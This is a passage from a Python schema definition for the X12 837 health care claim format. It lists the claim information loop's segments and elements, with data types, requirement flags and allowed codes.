codes=["MJ", "UN"],
),
),
Element(
"HCP12",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=12,
codes=[],
),
),
Element(
"HCP13",
Properties(
desc="Reject Reason Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=13,
codes=["T1", "T2", "T3", "T4", "T5", "T6"],
),
),
Element(
"HCP14",
Properties(
desc="Policy Compliance Code",
req_sit="S",
data_type=("ID", "1", "2"),
position=14,
codes=["1", "2", "3", "4", "5"],
),
),
Element(
"HCP15",
Properties(
desc="Exception Code",
req_sit="S",
data_type=("ID", "1", "2"),
position=15,
codes=["1", "2", "3", "4", "5", "6"],
),
),
),
parsed_837_2410,
parsed_837_2420A,
parsed_837_2420B,
parsed_837_2420C,
parsed_837_2420D,
parsed_837_2420E,
parsed_837_2420F,
parsed_837_2420G,
parsed_837_2420H,
parsed_837_2430,
parsed_837_2440,
)
parsed_837_2300 = Loop(
"2300",
Properties(
desc="Claim Information",
looptype="",
position="1300",
repeat="100",
req_sit="R",
),
Segment(
"CLM",
Properties(
desc="Claim Information",
position="1300",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"CLM01",
Properties(
desc="Claim Submitter's Identifier",
req_sit="R",
data_type=("AN", "1", "38"),
position=1,
codes=[],
),
),
Element(
"CLM02",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"CLM03",
Properties(
desc="Claim Filing Indicator Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=3,
codes=[],
),
),
Element(
"CLM04",
Properties(
desc="Non-Institutional Claim Type Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=4,
codes=[],
),
),
Composite(
"C023",
Properties(
desc="Health Care Service Location Information",
refdes="",
repeat="",
req_sit="R",
seq="05",
),
Element(
"CLM05-01",
Properties(
desc="Facility Code Value",
req_sit="R",
data_type=("AN", "1", "2"),
position=0,
codes=[],
),
),
Element(
"CLM05-02",
Properties(
desc="Facility Code Qualifier",
req_sit="R",
data_type=("ID", "1", "2"),
position=1,
codes=["B"],
),
),
Element(
"CLM05-03",
Properties(
desc="Claim Frequency Type Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=[],
),
),
),
Element(
"CLM06",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=6,
codes=["N", "Y"],
),
),
Element(
"CLM07",
Properties(
desc="Provider Accept Assignment Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=7,
codes=["A", "B", "C"],
),
),
Element(
"CLM08",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=8,
codes=["N", "W", "Y"],
),
),
Element(
"CLM09",
Properties(
desc="Release of Information Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=9,
codes=["I", "Y"],
),
),
Element(
"CLM10",
Properties(
desc="Patient Signature Source Code",
req_sit="S",
data_type=("ID", "1", "1"),
position=10,
codes=["P"],
),
),
Composite(
"C024",
Properties(
desc="Related Causes Information",
refdes="",
repeat="",
req_sit="S",
seq="11",
),
Element(
"CLM11-01",
Properties(
desc="Related-Causes Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=0,
codes=["AA", "EM", "OA"],
),
),
Element(
"CLM11-02",
Properties(
desc="Related-Causes Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=1,
codes=["AA", "EM", "OA"],
),
),
Element(
"CLM11-03",
Properties(
desc="Related-Causes Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"CLM11-04",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=3,
codes=[],
),
),
Element(
"CLM11-05",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
),
Element(
"CLM12",
Properties(
desc="Special Program Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=12,
codes=["02", "03", "05", "09"],
),
),
Element(
"CLM13",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=13,
codes=[],
),
),
Element(
"CLM14",
Properties(
desc="Level of Service Code",
req_sit="N",
data_type=("ID", "1", "3"),
position=14,
codes=[],
),
),
Element(
"CLM15",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=15,
codes=[],
),
),
Element(
"CLM16",
Properties(
desc="Provider Agreement Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=16,
codes=[],
),
),
Element(
"CLM17",
Properties(
desc="Claim Status Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=17,
codes=[],
),
),
Element(
"CLM18",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=18,
codes=[],
),
),
Element(
"CLM19",
Properties(
desc="Claim Submission Reason Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=19,
codes=[],
),
),
Element(
"CLM20",
Properties(
desc="Delay Reason Code",
req_sit="S",
data_type=("ID", "1", "2"),
position=20,
codes=["1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "15"],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Onset of Current Illness or Symptom",
position="1350",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["431"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Initial Treatment Date",
position="1350",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["454"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Last Seen Date",
position="1350",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["304"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Acute Manifestation",
position="1350",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["453"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Accident", position="1350", repeat="1", req_sit="S", syntax=""
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["439"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Last Menstrual Period",
position="1350",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["484"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Last X-ray Date",
position="1350",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["455"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Hearing and Vision Prescription Date",
position="1350",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["471"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Disability Dates",
position="1350",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["314", "360", "361"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8", "RD8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Last Worked",
position="1350",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["297"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Authorized Return to Work",
position="1350",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["296"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Admission", position="1350", repeat="1", req_sit="S", syntax=""
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["435"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Discharge", position="1350", repeat="1", req_sit="S", syntax=""
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["096"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Assumed and Relinquished Care Dates",
position="1350",
repeat="2",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["090", "091"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Property and Casualty Date of First Contact",
position="1350",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["444"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Repricer Received Date",
position="1350",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["050"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"PWK",
Properties(
desc="Claim Supplemental Information",
position="1550",
repeat="10",
req_sit="S",
syntax="P0506",
),
Element(
"PWK01",
Properties(
desc="Report Type Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=[
"03",
"04",
"05",
"06",
"07",
"08",
"09",
"10",
"11",
"13",
"15",
"21",
"A3",
"A4",
"AM",
"AS",
"B2",
"B3",
"B4",
"BR",
"BS",
"BT",
"CB",
"CK",
"CT",
"D2",
"DA",
"DB",
"DG",
"DJ",
"DS",
"EB",
"HC",
"HR",
"I5",
"IR",
"LA",
"M1",
"MT",
"NN",
"OB",
"OC",
"OD",
"OE",
"OX",
"OZ",
"P4",
"P5",
"PE",
"PN",
"PO",
"PQ",
"PY",
"PZ",
"RB",
"RR",
"RT",
"RX",
"SG",
"V5",
"XP",
],
),
),
Element(
"PWK02",
Properties(
desc="Report Transmission Code",
req_sit="R",
data_type=("ID", "1", "2"),
position=2,
codes=["AA", "BM", "EL", "EM", "FT", "FX"],
),
),
Element(
"PWK03",
Properties(
desc="Report Copies Needed",
req_sit="N",
data_type=("N0", "1", "2"),
position=3,
codes=[],
),
),
Element(
"PWK04",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"PWK05",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=5,
codes=["AC"],
),
),
Element(
"PWK06",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=6,
codes=[],
),
),
Element(
"PWK07",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=7,
codes=[],
),
),
Composite(
"C002",
Properties(
desc="Actions Indicated", refdes="", repeat="", req_sit="N", seq="08"
),
),
Element(
"PWK09",
Properties(
desc="Request Category Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=9,
codes=[],
),
),
),
Segment(
"CN1",
Properties(
desc="Contract Information",
position="1600",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"CN101",
Properties(
desc="Contract Type Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["01", "02", "03", "04", "05", "06", "09"],
),
),
Element(
"CN102",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"CN103",
Properties(
desc="Percent, Decimal Format",
req_sit="S",
data_type=("R", "1", "6"),
position=3,
codes=[],
),
),
Element(
"CN104",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=4,
codes=[],
),
),
Element(
"CN105",
Properties(
desc="Terms Discount Percent",
req_sit="S",
data_type=("R", "1", "6"),
position=5,
codes=[],
),
),
Element(
"CN106",
Properties(
desc="Version Identifier",
req_sit="S",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
),
Segment(
"AMT",
Properties(
desc="Patient Amount Paid",
position="1750",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"AMT01",
Properties(
desc="Amount Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=1,
codes=["F5"],
),
),
Element(
"AMT02",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"AMT03",
Properties(
desc="Credit/Debit Flag Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=3,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Service Authorization Exception Code",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["4N"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Mandatory Medicare (Section 4081) Crossover Indicator",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["F5"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Mammography Certification Number",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["EW"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Referral Number",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["9F"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Prior Authorization",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["G1"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Payer Claim Control Number",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["F8"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Clinical Laboratory Improvement Amendment (CLIA) Number",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["X4"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Repriced Claim Number",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["9A"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Adjusted Repriced Claim Number",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["9C"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Investigational Device Exemption Number",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["LX"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Claim Identifier For Transmission Intermediaries",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["D9"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Medical Record Number",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["EA"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Demonstration Project Identifier",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["P4"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Care Plan Oversight",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["1J"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"K3",
Properties(
desc="File Information",
position="1850",
repeat="10",
req_sit="S",
syntax="",
),
Element(
"K301",
Properties(
desc="Fixed Format Information",
req_sit="R",
data_type=("AN", "1", "80"),
position=1,
codes=[],
),
),
Element(
"K302",
Properties(
desc="Record Format Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=2,
codes=[],
),
),
Composite(
"C001",
Properties(
desc="Composite Unit of Measure",
refdes="",
repeat="",
req_sit="N",
seq="03",
),
),
),
Segment(
"NTE",
Properties(
desc="Claim Note", position="1900", repeat="1", req_sit="S", syntax=""
),
Element(
"NTE01",
Properties(
desc="Note Reference Code",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["ADD", "CER", "DCP", "DGN", "TPO"],
),
),
Element(
"NTE02",
Properties(
desc="Description",
req_sit="R",
data_type=("AN", "1", "80"),
position=2,
codes=[],
),
),
),
Segment(
"CR1",
Properties(
desc="Ambulance Transport Information",
position="1950",
repeat="1",
req_sit="S",
syntax="P0102 P0506",
),
Element(
"CR101",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=1,
codes=["LB"],
),
),
Element(
"CR102",
Properties(
desc="Weight",
req_sit="S",
data_type=("R", "1", "10"),
position=2,
codes=[],
),
),
Element(
"CR103",
Properties(
desc="Ambulance Transport Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=3,
codes=[],
),
),
Element(
"CR104",
Properties(
desc="Ambulance Transport Reason Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=4,
codes=["A", "B", "C", "D", "E"],
),
),
Element(
"CR105",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=5,
codes=["DH"],
),
),
Element(
"CR106",
Properties(
desc="Quantity",
req_sit="R",
data_type=("R", "1", "15"),
position=6,
codes=[],
),
),
Element(
"CR107",
Properties(
desc="Address Information",
req_sit="N",
data_type=("AN", "1", "55"),
position=7,
codes=[],
),
),
Element(
"CR108",
Properties(
desc="Address Information",
req_sit="N",
data_type=("AN", "1", "55"),
position=8,
codes=[],
),
),
Element(
"CR109",
Properties(
desc="Description",
req_sit="S",
data_type=("AN", "1", "80"),
position=9,
codes=[],
),
),
Element(
"CR110",
Properties(
desc="Description",
req_sit="S",
data_type=("AN", "1", "80"),
position=10,
codes=[],
),
),
),
Segment(
"CR2",
Properties(
desc="Spinal Manipulation Service Information",
position="2000",
repeat="1",
req_sit="S",
syntax="P0102 C0403 P0506",
),
Element(
"CR201",
Properties(
desc="Count",
req_sit="N",
data_type=("N0", "1", "9"),
position=1,
codes=[],
),
),
Element(
"CR202",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=2,
codes=[],
),
),
Element(
"CR203",
Properties(
desc="Subluxation Level Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=3,
codes=[],
),
),
Element(
"CR204",
Properties(
desc="Subluxation Level Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"CR205",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=5,
codes=[],
),
),
Element(
"CR206",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=6,
codes=[],
),
),
Element(
"CR207",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=7,
codes=[],
),
),
Element(
"CR208",
Properties(
desc="Nature of Condition Code",
